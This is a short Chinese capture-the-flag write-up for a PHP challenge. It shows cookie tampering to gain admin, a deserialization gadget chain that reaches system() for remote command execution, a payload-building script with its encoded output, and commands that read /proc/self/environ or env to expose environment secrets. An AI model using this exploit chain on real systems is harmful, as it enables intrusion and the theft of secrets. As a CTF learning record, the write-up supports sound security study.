打开是空页面

抓包发现cookies有东西

O:4:"User":1:{s:7:"isAdmin";b:0;}

将零改为1，放包得到题目页面

 <?php
error_reporting(0);
include('utils.php');

class A {
    public $className;
    public $funcName;
    public $args;

    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
}

if(checkUser()) {
    highlight_file(__FILE__);
    $payload = strrev(base64_decode($_POST['payload']));
    unserialize($payload);
}

编写payload

<?php
class A {
    public $className;
    public $funcName;
    public $args;
}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
}

$a = new A();
$a->className = 'B';
$a->funcName = 'system';
$a->args = 'ls';

echo $payload = urlencode(base64_encode(strrev(serialize($a))));
?>

结果
fTsic2wiOjI6czsic2dyYSI6NDpzOyJtZXRzeXMiOjY6czsiZW1hTmNudWYiOjg6czsiQiI6MTpzOyJlbWFOc3NhbGMiOjk6c3s6MzoiQSI6MTpP

__call方法

strrev方法

反转字符

ls改成cat /proc/self/environ或者env即可